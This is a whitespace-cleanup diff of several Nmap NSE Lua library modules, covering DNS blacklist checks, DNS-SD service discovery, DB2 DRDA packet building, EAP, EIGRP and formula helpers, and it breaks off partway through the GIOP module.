@@ SERVICES = { end, }, - ["spam.dnsbl.sorbs.net"] = { + ["spam.dnsbl.sorbs.net"] = { ns_type = { ["short"] = "A" }, @@ -144,7 +144,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["all.spamrats.com"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -160,7 +160,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["list.quorum.to"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -172,11 +172,11 @@ SERVICES = { -- this service appears to return 127.0.0.0 when the service is -- "blocked because it has never been seen to send mail". -- This would essentially return every host as SPAM and we - -- don't want that. - return ( ( r[1] and r[1] ~= "127.0.0.0" ) and { state = "SPAM" } ) + -- don't want that. + return ( ( r[1] and r[1] ~= "127.0.0.0" ) and { state = "SPAM" } ) end }, - + ["sbl.spamhaus.org"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -190,9 +190,9 @@ SERVICES = { ["127.0.0.3"] = "SPAM", } return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } - end, + end, }, - + ["bl.spamcop.net"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -207,7 +207,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["dnsbl.ahbl.org"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -226,7 +226,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["l2.apews.org"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -241,11 +241,11 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + }, PROXY = { - + ["dnsbl.tornevall.org"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -275,12 +275,12 @@ SERVICES = { if ( bit.band( code, k ) == k ) then table.insert(result, v) end - end + end return { state = "PROXY", details = result } - end + end end, }, - + ["ip-port.exitlist.torproject.org"] = { configuration = { ["port"] = "the port to which the target can relay to", @@ -364,7 +364,7 @@ SERVICES = { end end, }, - + ["dnsbl.ahbl.org"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -379,7 +379,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["http.dnsbl.sorbs.net"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -394,7 +394,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["socks.dnsbl.sorbs.net"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -409,7 +409,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, }, - + ["misc.dnsbl.sorbs.net"] = { new = function(self, ip, mode, config) local o = { ip = ip, mode = mode, config = config } @@ -424,7 +424,7 @@ SERVICES = { return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] } end, } - + }, ATTACK = { @@ -485,7 +485,7 @@ SERVICES = { } local result = {} - + -- Search engines are a special case. if ( octet4 == 0 ) then table.insert(result, ("Search engine: %s"):format( @@ -495,7 +495,7 @@ SERVICES = { octet2)) table.insert(result, ("Threat score: %i"):format( octet3)) - + local activity = {} activity['name'] = "Activity" -- Suspicious activity @@ -512,7 +512,7 @@ SERVICES = { if ( bit.band(octet4, 4) == 4) then table.insert(activity, "Comment spammer") end - + table.insert(result, activity) end @@ -558,13 +558,13 @@ SERVICES = { end, } }, - + } Helper = { - + -- Creates a new Helper instance -- @param category string containing a valid DNSBL service category -- @param mode string (short|long) specifying whether short or long @@ -577,7 +577,7 @@ Helper = { self.__index = self return o end, - + -- Lists all DNSBL services for the category -- @return services table of service names listServices = function(self) @@ -597,19 +597,19 @@ Helper = { table.insert(services, name) end end - return services + return services end, - + -- Validates the filter set by setFilter to make sure it contains only -- valid service names. -- @return status boolean, true on success false on failure -- @return err string containing an error message on failure validateFilter = function(self) - + if ( not(self.filterstr) ) then return true end - + local all = SERVICES[self.category] self.filter = {} for _, f in pairs(stdnse.strsplit(",%s*", self.filterstr)) do @@ -621,19 +621,19 @@ Helper = { end return true end, - + -- Sets a new service filter to choose only a limited subset of services -- within a category. -- @param filter string containing a comma separated list of service names setFilter = function(self, filter) self.filterstr = filter end, - + -- Gets a list of filtered services, or all services if no filter is in use -- @return services table containing a list of services getServices = function(self) if ( not(self:validateFilter()) ) then return nil end - + if ( self.filter ) then local filtered = {} for name, svc in pairs(SERVICES[self.category]) do @@ -646,7 +646,7 @@ Helper = { return SERVICES[self.category] end end, - + doQuery = function(self, ip, name, svc, answers) local condvar = nmap.condvar(answers) @@ -676,10 +676,10 @@ Helper = { else stdnse.print_debug("Query function returned nothing, skipping '%s'", name) end - + condvar "signal" end, - + -- Runs the DNS blacklist check for the given IP against all non-filtered -- services in the given category. -- @param ip string containing the IP address to check @@ -687,7 +687,7 @@ Helper = { checkBL = function(self, ip) local result, answers, threads = {}, {}, {} local condvar = nmap.condvar(answers) - + for name, svc in pairs(self:getServices()) do local co = stdnse.new_thread(self.doQuery, self, ip, name, svc, answers) threads[co] = true @@ -701,7 +701,7 @@ Helper = { condvar "wait" end until( next(threads) == nil ) - + for name, answer in pairs(answers) do local status, answer, svc = answer.status, answer.answer, answer.svc if ( status ) then @@ -710,7 +710,7 @@ Helper = { local resp = ( #answer > 0 and ("UNKNOWN (%s)"):format(answer[1]) or "UNKNOWN" ) stdnse.print_debug(2, ("%s received %s"):format(name, resp)) end - + if ( svc_result ) then table.insert(result, { name = name, result = svc_result }) end diff --git a/nselib/dnssd.lua b/nselib/dnssd.lua index a4ff45da2..873afbaf5 100644 --- a/nselib/dnssd.lua +++ b/nselib/dnssd.lua @@ -21,7 +21,7 @@ -- helper:setMulticast(true) -- return stdnse.format_output(helper:queryServices()) -- --- +-- -- This next snipplet queries a specific host for the same information: -- -- local helper = dnssd.Helper:new( host, port ) @@ -57,7 +57,7 @@ Util = { ipCompare = function(a, b) return ipOps.compare_ip(a, "lt", b) end, - + --- Function used to compare discovered DNS services so they can be sorted -- -- @param a table containing first item @@ -74,8 +74,8 @@ Util = { end return false end, - - --- Creates a service host table + + --- Creates a service host table -- -- ['_ftp._tcp.local'] = {10.10.10.10,20.20.20.20} -- ['_http._tcp.local'] = {30.30.30.30,40.40.40.40} @@ -96,7 +96,7 @@ Util = { return services end, - + --- Creates a unique list of services -- -- @param response containing a single or multiple responses from @@ -104,7 +104,7 @@ Util = { -- @return array of strings containing service names getUniqueServices = function( response ) local services = {} - + for _, r in ipairs(response) do if ( r.output ) then for _, svc in ipairs(r.output) do services[svc] = true end @@ -112,10 +112,10 @@ Util = { services[r] = true end end - + return services end, - + --- Returns the amount of currenlty active threads -- -- @param threads table containing the list of threads @@ -132,7 +132,7 @@ Util = { end return count end - + } Comm = { @@ -189,7 +189,7 @@ Comm = { queryService = function( host, port, svc, multiple, svcresponse ) local condvar = nmap.condvar(svcresponse) local status, response = dns.query( svc, { port = port, host = host, dtype="PTR", retPkt=true, retAll=true, multiple=multiple, sendCount=1, timeout=2000} ) - if not status then + if not status then stdnse.print_debug("Failed to query service: %s; Error: %s", svc, response) return end @@ -266,7 +266,7 @@ Comm = { table.insert( result, service ) end end, - + --- Query the mDNS resolvers for a list of their services -- -- @param host table as received by the action function @@ -286,7 +286,7 @@ Comm = { end return dns.query( "_services._dns-sd._udp.local", { port = port, host = ( host.ip or host ), dtype="PTR", retAll=true, multiple=multiple, sendCount=sendCount, timeout=timeout } ) end, - + } Helper = { @@ -305,8 +305,8 @@ Helper = { o.mcast = false return o end, - - + + --- Instructs the helper to use unconnected sockets supporting multicast -- -- @param mcast boolean true if multicast is to be used, false otherwise @@ -314,12 +314,12 @@ Helper = { assert( type(mcast)=="boolean", "mcast has to be either true or false") self.mcast = mcast end, - + --- Performs a DNS-SD query against a host -- -- @param host table as received by the action function -- @param port number specifying the port to connect to - -- @param service string or table with the service(s) to query eg. + -- @param service string or table with the service(s) to query eg. -- _ssh._tcp.local, _afpovertcp._tcp.local -- if nil defaults to _services._dns-sd._udp.local (all) -- @param mcast boolean true if a multicast query is to be done @@ -333,7 +333,7 @@ Helper = { local family = nmap.address_family() local host = mcast and (family=="inet6" and "ff02::fb" or "224.0.0.251") or self.host local service = service or stdnse.get_script_args('dnssd.services') - + if ( not(service) ) then status, response = Comm.queryAllServices( host, port, mcast ) if ( not(status) ) then return status, response end @@ -346,12 +346,12 @@ Helper = { end response = Util.getUniqueServices(response) - + local svcresponse = {} local condvar = nmap.condvar( svcresponse ) local threads = {} - - for svc in pairs(response) do + + for svc in pairs(response) do local co = stdnse.new_thread( Comm.queryService, (host.ip or host), port, svc, mcast, svcresponse ) threads[co] = true end @@ -374,7 +374,7 @@ Helper = { Comm.decodeRecords( response, result ) end end - + if ( mcast ) then -- Restructure and build our output table for ip, svctbl in pairs( ipsvctbl ) do @@ -387,10 +387,10 @@ Helper = { else -- sort the tables per port table.sort( result, Util.serviceCompare ) - end + end return true, result end, - + } return _ENV; diff --git a/nselib/drda.lua b/nselib/drda.lua index 870594820..538f51855 100644 --- a/nselib/drda.lua +++ b/nselib/drda.lua @@ -39,7 +39,7 @@ -- -- -- The implementation is based on packet dumps and the excellent decoding --- provided by Wireshark. +-- provided by Wireshark. -- -- There is some documentation at -- http://publib.boulder.ibm.com/infocenter/dzichelp/v2r2/topic/com.ibm.db29.doc.drda/db2z_drda.htm. @@ -119,7 +119,7 @@ SecMec = } DRDAPacket = { - + new = function(self, drda_array) local o = { drda_array = drda_array, @@ -137,11 +137,11 @@ DRDAPacket = { end end end, - + getDRDA = function( self, n ) return ( #self.drda_array >= n ) and self.drda_array[n] or nil end, - + __tostring = function( self ) local data = "" -- do some DDM fixup in here @@ -156,12 +156,12 @@ DRDAPacket = { end return data end - + } -- Distributed Relational Database Architecture (DRDA) Class DRDA = { - + new = function(self, ddm) local o = { Parameters = {}, @@ -171,8 +171,8 @@ DRDA = { self.__index = self return o end, - - --- Sets the DDM + + --- Sets the DDM -- -- @param ddm DDM to assign to the DRDA -- @return status boolean true on success, false on failure @@ -183,7 +183,7 @@ DRDA = { self.DDM = ddm return true end, - + --- Adds a DRDA parameter to the table -- -- @param param DRDAParam containing the parameter to add to the table @@ -198,16 +198,16 @@ DRDA = { stdnse.print_debug("drda.DRDA.addParameter: Param cannot be nil") return false, "Param cannot be nil" end - + table.insert(self.Parameters, param) - + -- update the DDM length fields self.DDM.Length = self.DDM.Length + param.Length self.DDM.Length2 = self.DDM.Length2 + param.Length - + return true end, - + --- Gets a parameter from the DRDA parameter table -- -- @param codepoint number containing the parameter type ro retrieve @@ -217,26 +217,26 @@ DRDA = { if ( v.CodePoint == codepoint ) then return v end - end + end return end, - + --- Converts the DRDA class to a string -- - -- @return data containing the object instance + -- @return data containing the object instance __tostring = function(self) if ( not(self.DDM) ) then stdnse.print_debug("drda.DRDA.toString: DDM cannot be nil") return nil end - + local data = bin.pack(">SCCSSS", self.DDM.Length, self.DDM.Magic, self.DDM.Format, self.DDM.CorelId, self.DDM.Length2, self.DDM.CodePoint ) for k,v in ipairs(self.Parameters) do data = data .. tostring(v) end return data end, - + --- Sends the DRDA over the db2socket -- -- @param db2socket DB2Socket over which to send the data @@ -245,27 +245,27 @@ DRDA = { send = function( self, db2socket ) return db2socket:send( tostring(self) ) end, - + --- Receives data from the db2socket and builds a DRDA object -- -- @param db2socket from which to read data -- @return Status (true or false). - -- @return Data (if status is true) or error string (if status is false). + -- @return Data (if status is true) or error string (if status is false). receive = function( self, db2socket ) local DDM_SIZE = 10 local pos = 1 - + -- first read atleast enough so that we can populate the DDM local status, data = db2socket:receive_buf( match.numbytes(DDM_SIZE), true ) if ( not(status) ) then stdnse.print_debug("drda.DRDA.receive: %s", data) return false, ("Failed to read at least %d bytes from socket"):format(DDM_SIZE) end - + local ddm = DDM:new() ddm:fromString( data ) self:setDDM( ddm ) - + status, data = db2socket:receive_buf( match.numbytes(ddm.Length - 10), true ) if ( not(status) ) then return false, ("Failed to read the remaining %d bytes of the DRDA message") @@ -277,7 +277,7 @@ DRDA = { pos = param:fromString( data, pos ) self:addParameter( param ) until ( #data <= pos ) - + return true end, @@ -285,12 +285,12 @@ DRDA = { -- The DRDAParameter class implements the DRDA parameters DRDAParameter = { - + --- DRDA Parameter constructor -- -- @param codepoint number containing the codepoint value -- @param data string containing the data portion of the DRDA parameter - -- @return o DRDAParameter object + -- @return o DRDAParameter object new = function(self, codepoint, data) local o = { CodePoint = codepoint, @@ -306,13 +306,13 @@ DRDAParameter = { -- -- @return data string containing the DRDA Parameter __tostring = function( self ) - local data = bin.pack(">SS", self.Length, self.CodePoint ) + local data = bin.pack(">SS", self.Length, self.CodePoint ) if ( self.Data ) then data = data .. bin.pack("A", self.Data) end return data end, - + --- Builds a DRDA Parameter from a string -- -- @param data string from which to build the DRDA Parameter @@ -332,14 +332,14 @@ DRDAParameter = { end return pos end, - + --- Returns the data portion of the parameter as an ASCII string -- -- @return str containing the data portion of the DRDA parameter as ASCII getDataAsASCII = function( self ) return StringUtil.toASCII( self.Data ) end, - + --- Returns the data in EBCDIC format -- -- @return str containing the data portion of the DRDA parameter in EBCDIC @@ -351,7 +351,7 @@ DRDAParameter = { -- Distributed data management (DDM) DDM = { - + Formats = { RESERVED = 0x80, @@ -359,7 +359,7 @@ DDM = { CONTINUE = 0x20, SAME_CORRELATION = 0x10, }, - + Length = 10, Magic = 0xD0, Format = 0x41, @@ -388,32 +388,32 @@ DDM = { __tostring = function( self ) return bin.pack(">SCCSSS", self.Length, self.Magic, self.Format, self.CorelId, self.Length2, self.CodePoint) end, - + --- Constructs a DDM object from a string -- -- @param str containing the data from which to construct the object fromString = function( self, str ) local DDM_SIZE = 10 local pos = 1 - + if ( #str < DDM_SIZE ) then return -1, ("drda.DDM.fromString: str was less than DDM_SIZE (%d)"):format( DDM_SIZE ) end - + pos, self.Length, self.Magic, self.Format, self.CorelId, self.Length2, self.CodePoint = bin.unpack( ">SCCSSS", str ) return pos end, - + --- Verifiers if there are additional DRDA's following -- - -- @return true if the DRDA is to be chained, false if it's the last one + -- @return true if the DRDA is to be chained, false if it's the last one isChained = function( self ) if ( bit.band( self.Format, DDM.Formats.CHAINED ) == DDM.Formats.CHAINED ) then return true end return false end, - + --- Set the DRDA as chained (more following) -- -- @param chained boolean true if more DRDA's are following @@ -424,11 +424,11 @@ DDM = { self.Format = bit.bor( self.Format, self.Formats.CHAINED ) end end, - + } -- static DRDA packet construction class -Command = +Command = { --- Builds an EXCSAT DRDA packet -- @@ -440,7 +440,7 @@ Command = -- @return drda DRDA instance EXCSAT = function( extname, srvname, rellev, mgrlvlls, srvclass ) local drda = DRDA:new( DDM:new( CodePoint.EXCSAT ) ) - + drda:addParameter( DRDAParameter:new( CodePoint.EXTNAM, StringUtil.toEBCDIC( extname ) ) ) drda:addParameter( DRDAParameter:new( CodePoint.SRVNAM, StringUtil.toEBCDIC( srvname ) ) ) drda:addParameter( DRDAParameter:new( CodePoint.SRVRLSLV, StringUtil.toEBCDIC( rellev ) ) ) @@ -449,7 +449,7 @@ Command = return drda end, - + --- Builds an ACCSEC DRDA packet -- -- @param secmec number containing the security mechanism ID @@ -459,7 +459,7 @@ Command = local drda = DRDA:new( DDM:new( CodePoint.ACCSEC ) ) drda:addParameter( DRDAParameter:new( CodePoint.SECMEC, secmec )) drda:addParameter( DRDAParameter:new( CodePoint.RDBNAM, StringUtil.toEBCDIC(StringUtil.padWithChar(database,' ', 18)) )) - + return drda end, @@ -469,17 +469,17 @@ Command = -- @param database string containing the database name -- @param username string -- @param password string - -- @return drda DRDA instance + -- @return drda DRDA instance SECCHK = function( secmec, database, username, password ) local drda = DRDA:new( DDM:new( CodePoint.SECCHK ) ) drda:addParameter( DRDAParameter:new( CodePoint.SECMEC, secmec )) drda:addParameter( DRDAParameter:new( CodePoint.RDBNAM, StringUtil.toEBCDIC(StringUtil.padWithChar(database,' ', 18)) )) drda:addParameter( DRDAParameter:new( CodePoint.USRID, StringUtil.toEBCDIC(username) ) ) drda:addParameter( DRDAParameter:new( CodePoint.PASSWORD, StringUtil.toEBCDIC(password) ) ) - + return drda end, - + --- Builds an ACCRDB DRDA packet -- -- @param database string containing the database name @@ -487,7 +487,7 @@ Command = -- @param prdid string containing the product id -- @param typdefnam string containing the data type definition name -- @param typdefovr string containing the data type definition override - -- @return drda DRDA instance + -- @return drda DRDA instance ACCRDB = function( database, rdbaccl, prdid, prddata, typdefnam, crrtkn, typdefovr ) local drda = DRDA:new( DDM:new( CodePoint.ACCRDB ) ) drda:addParameter( DRDAParameter:new( CodePoint.RDBNAM, StringUtil.toEBCDIC(StringUtil.padWithChar(database,' ', 18)) ) ) @@ -510,10 +510,10 @@ Command = if( typdefovr ) then drda:addParameter( DRDAParameter:new( CodePoint.TYPDEFOVR, typdefovr ) ) end - + return drda end - + } @@ -526,13 +526,13 @@ Helper = { self.__index = self return o end, - + --- Connect to the DB2 host -- -- @param host table -- @param port table -- @return Status (true or false). - -- @return Error code (if status is false). + -- @return Error code (if status is false). connect = function( self, host, port ) self.comm = Comm:new( host, port ) return self.comm:connect() @@ -541,23 +541,23 @@ Helper = { --- Closes an open connection. -- -- @return Status (true or false). - -- @return Error code (if status is false). + -- @return Error code (if status is false). close = function( self ) self.comm:close() end, - + --- Returns Server Information (name, platform, version) -- - -- @return table containing extname, srvclass, + -- @return table containing extname, srvclass, -- srvname and prodrel getServerInfo = function( self ) local mgrlvlls = bin.pack("H", "1403000724070008240f00081440000814740008") local drda_excsat = Command.EXCSAT( "", "", "", mgrlvlls, "" ) local response, param, err - + local status, packet = self.comm:exchDRDAPacket( DRDAPacket:new( { drda_excsat } ) ) if ( not(status) ) then return false, err end - + local drda = packet:getDRDAByCodePoint( CodePoint.EXCSATRD ) if ( drda ) then response = {} @@ -578,12 +578,12 @@ Helper = { response.prodrel = param:getDataAsASCII() end else - return false, "The response contained no EXCSATRD" + return false, "The response contained no EXCSATRD" end - - return true, response + + return true, response end, - + --- Login to DB2 database server -- -- @param database containing the name of the database @@ -596,37 +596,37 @@ Helper = { local secmec, prdid = "\00\03", "JCC03010" local tdovr = bin.pack("H", "0006119c04b80006119d04b00006119e04b8") local crrtkn= bin.pack("H", "d5c6f0f0f0f0f0f14bc3c6f4c4012a11168414") - + local drda_excsat = Command.EXCSAT( "", "", "", mgrlvlls, "" ) local drda_accsec = Command.ACCSEC( secmec, database ) local drda_secchk = Command.SECCHK( secmec, database, username, password ) local drda_accrdb = Command.ACCRDB( database, string.char(0x24,0x07), "DNC10060", nil, "QTDSQLASC", crrtkn, tdovr) - + local status, packet = self.comm:exchDRDAPacket( DRDAPacket:new( { drda_excsat, drda_accsec } ) ) if( not(status) ) then return false, packet end - + if ( packet:getDRDAByCodePoint( CodePoint.RDBNFNRM ) or packet:getDRDAByCodePoint( CodePoint.RDBAFLRM ) ) then stdnse.print_debug("drda.Helper.login: ERROR: RDB not found") return false, "ERROR: Database not found" end - + local drda = packet:getDRDAByCodePoint( CodePoint.ACCSECRD ) if ( not(drda) ) then return false, "ERROR: Response did not contain any valid security mechanisms" end - + local param = drda:getParameter( CodePoint.SECMEC ) if ( not(param) ) then stdnse.print_debug("drda.Helper.login: ERROR: Response did not contain any valid security mechanisms") return false, "ERROR: Response did not contain any valid security mechanisms" end - + if ( select(2, bin.unpack(">S", param:getData())) ~= SecMec.USER_PASSWORD ) then stdnse.print_debug("drda.Helper.login: ERROR: Securite Mechanism not supported") return false, "ERROR: Security mechanism not supported" end - + status, packet = self.comm:exchDRDAPacket( DRDAPacket:new( { drda_secchk, drda_accrdb } ) ) if( not(status) ) then return false, "ERROR: Login failed" end @@ -657,12 +657,12 @@ Helper = { end return false, "ERROR: Login failed" end, - + } -- The communication class Comm = { - + new = function(self, host, port) local o = { host = host, @@ -673,18 +673,18 @@ Comm = { self.__index = self return o end, - + connect = function(self) return self.socket:connect(self.host, self.port) end, - + close = function(self) return self.socket:close() end, - + recvDRDA = function( self ) local drda_tbl = {} - + repeat local drda = DRDA:new() local status, err = drda:receive( self.socket ) @@ -695,7 +695,7 @@ Comm = { until ( not(drda.DDM:isChained()) ) return true, drda_tbl end, - + --- Sends a packet to the server and receives the response -- -- @param DRDAPacket @@ -704,12 +704,12 @@ Comm = { exchDRDAPacket = function( self, packet ) local drda, err local status, err = self.socket:send( tostring(packet) ) - + if ( not(status) ) then stdnse.print_debug("drda.Helper.login: ERROR: DB2Socket error: %s", err ) return false, ("ERROR: DB2Socket error: %s"):format( err ) end - + status, drda = self:recvDRDA() if( not(status) ) then stdnse.print_debug("drda.Helper.login: ERROR: DB2Socket error: %s", drda ) @@ -717,7 +717,7 @@ Comm = { end return true, DRDAPacket:new( drda ) end - + } -- EBCDIC/ASCII Conversion tables @@ -766,7 +766,7 @@ StringUtil = -- @return string containing ASCII value toASCII = function( ebcdic ) local ret = "" - + for i=1, #ebcdic do local val = ebcdic.byte(ebcdic,i) + 1 ret = ret .. e2a_tbl:sub(val, val) diff --git a/nselib/eap.lua b/nselib/eap.lua index a7586cff2..b36ad9a9b 100644 --- a/nselib/eap.lua +++ b/nselib/eap.lua @@ -1,4 +1,4 @@ ---- +--- -- EAP (Extensible Authentication Protocol) library supporting a -- limited subset of features. -- @@ -16,8 +16,8 @@ -- -- pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e") -- ... --- local _, _, l2_data, l3_data, _ = pcap:pcap_receive() --- local packet = eap.parse(l2_data .. l3_data3) +-- local _, _, l2_data, l3_data, _ = pcap:pcap_receive() +-- local packet = eap.parse(l2_data .. l3_data3) -- if packet then -- if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then -- eap.send_identity_response(iface, packet.eap.id, "anonymous") @@ -74,7 +74,7 @@ code_t = { } code_str = { - [1] = "Request", + [1] = "Request", [2] = "Response", [3] = "Success", [4] = "Failure", @@ -155,13 +155,13 @@ eap_str = { local make_eapol = function (arg) if not arg.type then arg.type = eapol_t.PACKET end if not arg.version then arg.version = 1 end - if not arg.payload then arg.payload = "" end + if not arg.payload then arg.payload = "" end if not arg.src then return nil end local p = packet.Frame:new() p.mac_src = arg.src p.mac_dst = packet.mactobin(ETHER_BROADCAST) - p.ether_type = ETHER_TYPE_EAPOL + p.ether_type = ETHER_TYPE_EAPOL local bin_payload = bin.pack(">A",arg.payload) p.buf = bin.pack("C",arg.version) .. bin.pack("C",arg.type) .. bin.pack(">S",bin_payload:len()).. bin_payload @@ -179,14 +179,14 @@ local make_eap = function (arg) local bin_payload = bin.pack(">A",arg.payload) arg.header.payload = bin.pack("C",arg.code) .. bin.pack("C",arg.id) .. bin.pack(">S",bin_payload:len() + EAP_HEADER_SIZE).. bin.pack("C",arg.type) .. bin_payload - + local v = make_eapol(arg.header) stdnse.print_debug(2, "make eapol %s", arg.header.src) - + return v end -parse = function (packet) +parse = function (packet) local tb = {} local _ @@ -199,14 +199,14 @@ parse = function (packet) -- parsing eapol header _, tb.version, tb.type, tb.length = bin.unpack(">CCS", packet, ETHER_HEADER_SIZE + 1) - stdnse.print_debug(1, "mac_src: %s, mac_dest: %s, ether_type: 0x%X", + stdnse.print_debug(1, "mac_src: %s, mac_dest: %s, ether_type: 0x%X", tb.mac_src_str, tb.mac_dst_str, tb.ether_type) - if tb.ether_type ~= ETHER_TYPE_EAPOL_N then return nil, "not an eapol packet" end + if tb.ether_type ~= ETHER_TYPE_EAPOL_N then return nil, "not an eapol packet" end - stdnse.print_debug(2, "version: %X, type: %s, length: 0x%X", + stdnse.print_debug(2, "version: %X, type: %s, length: 0x%X", tb.version, eapol_str[tb.type] or "unknown", - tb.length) + tb.length) tb.eap = {} @@ -214,7 +214,7 @@ parse = function (packet) -- parsing body _, tb.eap.code, tb.eap.id, tb.eap.length, tb.eap.type = bin.unpack(">CCSC", packet, - ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + 1) + ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + 1) stdnse.print_debug(2, "code: %s, id: 0x%X, length: 0x%X, type: %s", code_str[tb.eap.code] or "unknown", tb.eap.id, tb.eap.length, eap_str[tb.eap.type] or "unknown" ) @@ -233,7 +233,7 @@ parse = function (packet) end if tb.length > 5 and tb.eap.type == eap_t.MD5 then - _, tb.eap.body.challenge = bin.unpack("p", packet, ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + EAP_HEADER_SIZE + 1) + _, tb.eap.body.challenge = bin.unpack("p", packet, ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + EAP_HEADER_SIZE + 1) end return tb @@ -244,9 +244,9 @@ send_identity_response = function (iface, id, identity) if not iface then stdnse.print_debug(1, "no interface given") return - end + end - local dnet = nmap.new_dnet() + local dnet = nmap.new_dnet() local tb = {src = iface.mac, type = eapol_t.PACKET} local response = make_eap{header = tb, code = code_t.RESPONSE, type = eap_t.IDENTITY, id = id, payload = identity} @@ -260,9 +260,9 @@ send_nak_response = function (iface, id, auth) if not iface then stdnse.print_debug(1, "no interface given") return - end + end - local dnet = nmap.new_dnet() + local dnet = nmap.new_dnet() local tb = {src = iface.mac, type = eapol_t.PACKET} local response = make_eap{header = tb, code = code_t.RESPONSE, type = eap_t.NAK, id = id, payload = bin.pack("C",auth)} @@ -273,19 +273,19 @@ end send_start = function (iface) - + if not iface then stdnse.print_debug(1, "no interface given") return end local dnet = nmap.new_dnet() - local start = make_eapol{type = eapol_t.START, src = iface.mac} + local start = make_eapol{type = eapol_t.START, src = iface.mac} dnet:ethernet_open(iface.device) dnet:ethernet_send(start) dnet:ethernet_close() - + end return _ENV; diff --git a/nselib/eigrp.lua b/nselib/eigrp.lua index c71c6fc2f..1732c4005 100644 --- a/nselib/eigrp.lua +++ b/nselib/eigrp.lua @@ -70,7 +70,7 @@ EIGRP = { -- @param Checksum integer EIGRP packet checksum. Calculated automatically -- if not manually set. -- @param Table TLVs table. - -- @return o Instance of EIGRP + -- @return o Instance of EIGRP new = function(self, opcode, as, routerid, flags, seq, ack, checksum, tlvs) local o = { ver = 2, @@ -253,7 +253,7 @@ EIGRP = { -- @return status true if tlvtype is a routing information tlv. isRoutingTLV = function(tlvtype) if tlvtype == 0x101 or tlvtype == 0x102 - or tlvtype == 0x103 or tlvtype == 0x104 + or tlvtype == 0x103 or tlvtype == 0x104 or tlvtype == 0x402 or tlvtype == 0x403 or tlvtype == 0x404 then return true @@ -273,7 +273,7 @@ EIGRP = { --- Sets the EIGRP packet checksum -- @param integer checksum Checksum to set. setChecksum = function(self, checksum) - self.checksum = checksum + self.checksum = checksum end, --- Sets the EIGRP packet flags field. -- @param flags Flags integer value. @@ -288,19 +288,19 @@ EIGRP = { --- Sets the EIGRP Packet acknowledge field. -- @param ack EIGRP acknowledge. setAcknowledge = function(self, ack) - self.ack = ack + self.ack = ack end, - --- Sets the EIGRP Packet Virtual Router ID. + --- Sets the EIGRP Packet Virtual Router ID. -- @param routerid EIGRP Virtual Router ID. setRouterID = function(self, routerid) - self.routerid = routerid + self.routerid = routerid end, --- Sets the EIGRP Packet Autonomous System. -- @param as EIGRP A.S. setAS = function(self, as) self.as = as end, - --- Sets the EIGRP Packet tlvs + --- Sets the EIGRP Packet tlvs -- @param tlvs table of EIGRP tlvs. setTlvs = function(self, tlvs) self.tlvs = tlvs @@ -314,7 +314,7 @@ EIGRP = { -- If checksum not manually. -- set to 0, then calculate it later if self.checksum then - data = data .. bin.pack(">S", self.checksum) + data = data .. bin.pack(">S", self.checksum) else data = data .. bin.pack(">S", 0x0000) -- Calculated later. end @@ -322,7 +322,7 @@ EIGRP = { data = data .. bin.pack(">I", self.seq) -- Sequence 0 data = data .. bin.pack(">I", self.ack) -- Acknowledge 0 data = data .. bin.pack(">S", self.routerid) -- Virtual Router ID 0 - data = data .. bin.pack(">S", self.as) -- Autonomous system + data = data .. bin.pack(">S", self.as) -- Autonomous system for _, tlv in pairs(self.tlvs) do if tlv.type == TLV.PARAM then data = data .. bin.pack(">S", TLV.PARAM) diff --git a/nselib/formulas.lua b/nselib/formulas.lua index 335422ddd..cbde5f406 100644 --- a/nselib/formulas.lua +++ b/nselib/formulas.lua @@ -2,15 +2,15 @@ -- Formula functions for various calculations. -- -- The library lets scripts to use common mathematical functions to compute percentages, --- averages, entropy, randomness and other calculations. Scripts that generate statistics +-- averages, entropy, randomness and other calculations. Scripts that generate statistics -- and metrics can also make use of this library. -- -- Functions included: -- -- calcPwdEntropy - Calculate the entropy of a password. A random --- password's information entropy, H, is given by the formula: H = L * (logN) / (log2), --- where N is the number of possible symbols and L is the number of symbols in the --- password. Based on https://en.wikipedia.org/wiki/Password_strength +-- password's information entropy, H, is given by the formula: H = L * (logN) / (log2), +-- where N is the number of possible symbols and L is the number of symbols in the +-- password. Based on https://en.wikipedia.org/wiki/Password_strength -- -- looksRandom - Returns true if the value looks random. -- diff --git a/nselib/giop.lua b/nselib/giop.lua index 277a8fb97..60b58fa54 100644 --- a/nselib/giop.lua +++ b/nselib/giop.lua @@ -24,7 +24,7 @@ -- - A helper class that provides easy access to the rest of the library -- -- o Socket --- - This is a copy of the DB2Socket class which provides fundamental +-- - This is a copy of the DB2Socket class which provides fundamental -- buffering -- -- @@ -66,24 +66,24 @@ _ENV = stdnse.module("giop", stdnse.seeall) -- A bunch of constants Constants = { - + SyncScope = { WITH_TARGET = 3, }, - + ServiceContext = { CODESETS = 1, SENDING_CONTEXT_RUNTIME = 6, NEO_FIRST_SERVICE_CONTEXT = 